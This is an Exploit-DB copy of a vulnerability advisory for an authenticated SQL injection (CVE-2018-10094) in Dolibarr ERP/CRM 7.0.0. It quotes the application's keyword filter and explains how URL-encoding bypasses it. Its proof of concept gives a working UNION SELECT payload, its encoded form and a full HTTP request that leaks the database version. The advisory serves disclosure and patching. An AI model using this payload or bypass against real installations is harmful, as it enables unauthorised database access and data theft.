Dolibarr ERP/CRM 7.0.0 - (Authenticated) SQL Injection

EDB-ID:

44805


Author:

Sysdream

Type:

webapps


Platform:

PHP

Date:

2018-05-30


# [CVE-2018-10094] Dolibarr SQL Injection vulnerability


## Description

Dolibarr is an "Open Source ERP & CRM for Business" used by many
companies worldwide.

It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
or as distribution packages (e.g .deb package).

**Threat**

The application does not handle user input properly and allows execution
of arbitrary SQL commands on the database.

**Expectation**

Prepared queries should be used in order to avoid SQL injection in user
input.


## Vulnerability type

**CVE ID**: CVE-2018-10094

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-89

**CVSS Base Score**: 7.5

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N


## Details

The database connector escapes quotes with the `real_escape_string()`
wrapper. However it is still possible to perform injection on integer
parameters without quotes.

```php
mysqli.class.php

    /**
     *  Escape a string to insert data
     *
     *  @param  string  $stringtoencode     String to escape
     *  @return string                      String escaped
     */
    function escape($stringtoencode)
    {
        return $this->db->real_escape_string($stringtoencode);
    }
```

Additional checks are defined later, which forbit some SQL keywords (e.g
`union`, `create`, `insert`). However, by url encoding the payload,
these checks are bypassed.

```php
main.inc.php

/**
 * Security: SQL Injection and XSS Injection (scripts) protection
(Filters on GET, POST, PHP_SELF).
 *
 * @param       string      $val        Value
 * @param       string      $type       1=GET, 0=POST, 2=PHP_SELF
 * @return      int                     >0 if there is an injection
 */
function test_sql_and_script_inject($val, $type)
{
    $inj = 0;
    // For SQL Injection (only GET are used to be included into bad
escaped SQL requests)
    if ($type == 1)
    {
        $inj += preg_match('/updatexml\(/i',     $val);
        $inj += preg_match('/delete\s+from/i',   $val);
        $inj += preg_match('/create\s+table/i',  $val);
        $inj += preg_match('/insert\s+into/i',   $val);
        $inj += preg_match('/select\s+from/i',   $val);
        $inj += preg_match('/into\s+(outfile|dumpfile)/i',  $val);
    }
    if ($type != 2) // Not common, we can check on POST
    {
        $inj += preg_match('/update.+set.+=/i',  $val);
        $inj += preg_match('/union.+select/i',   $val);
        $inj += preg_match('/(\.\.%2f)+/i',      $val);
    }
    // For XSS Injection done by adding javascript with script
    // This is all cases a browser consider text is javascript:
    // When it found '<script', 'javascript:', '<style', 'onload\s=' on
body tag, '="&' on a tag size with old browsers
    // All examples on page: http://ha.ckers.org/xss.html#XSScalc
    // More on
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    $inj += preg_match('/<script/i', $val);
    $inj += preg_match('/<iframe/i', $val);
    $inj += preg_match('/Set\.constructor/i', $val);    // ECMA script 6
    if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
    $inj += preg_match('/base[\s]+href/si', $val);
    $inj += preg_match('/<.*onmouse/si', $val);       // onmousexxx can
be set on img or any html tag like <img title='...' onmouseover=alert(1)>
    $inj += preg_match('/onerror\s*=/i', $val);       // onerror can be
set on img or any html tag like <img title='...' onerror = alert(1)>
    $inj += preg_match('/onfocus\s*=/i', $val);       // onfocus can be
set on input text html tag like <input type='text' value='...' onfocus =
alert(1)>
    $inj += preg_match('/onload\s*=/i', $val);        // onload can be
set on svg tag <svg/onload=alert(1)> or other tag like body <body
onload=alert(1)>
    $inj += preg_match('/onclick\s*=/i', $val);       // onclick can be
set on img text html tag like <img onclick = alert(1)>
    $inj += preg_match('/onscroll\s*=/i', $val);      // onscroll can be
on textarea
    //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val);   // To lock event
handlers onAbort(), ...
    $inj += preg_match('/&#58;|&#0000058|&#x3A/i', $val);       //
refused string ':' encoded (no reason to have it encoded) to lock
'javascript:...'
    //if ($type == 1)
    //{
        $inj += preg_match('/javascript:/i', $val);
        $inj += preg_match('/vbscript:/i', $val);
    //}
    // For XSS Injection done by adding javascript closing html tags
like with onmousemove, etc... (closing a src or href tag with not
cleaned param)
    if ($type == 1) $inj += preg_match('/"/i', $val);       // We
refused " in GET parameters value
    if ($type == 2) $inj += preg_match('/[;"]/', $val);     // PHP_SELF
is a file system path. It can contains spaces.
    return $inj;
}
```

## Proof of Concept : retrieving the database name.

Payload:

```
1) union select
0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#

Url-encoded payload:
%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
```

```http
GET
/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
Connection: close
Upgrade-Insecure-Requests: 1

...

</a>
             </td>
             <td>10.1.26-MariaDB-0+deb9u1</td>
             <td>2</td>
             <td></td>
             <td>1</td>
             <td>21</td>
             <td class="nowrap">
```


## Affected versions

* Version 7.0.0 (last stable version as of March 2018) - previous
versions are probably also vulnerable but not tested

## Solution

Update to 7.0.2
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))

## Timeline (dd/mm/yyyy)

* 18/03/2018 : Initial discovery
* 17/04/2018 : Contact with the editor
* 17/04/2018 : Editor acknowledges the vulnerability
* 18/04/2018 : Editor announces fixes in version 7.0.2
* 21/05/2018 : Vulnerability disclosure

## Credits

* Issam RABHI (i dot rabhi at sysdream dot com)
* Kevin LOCATI (k dot locati at sysdream dot com)

-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream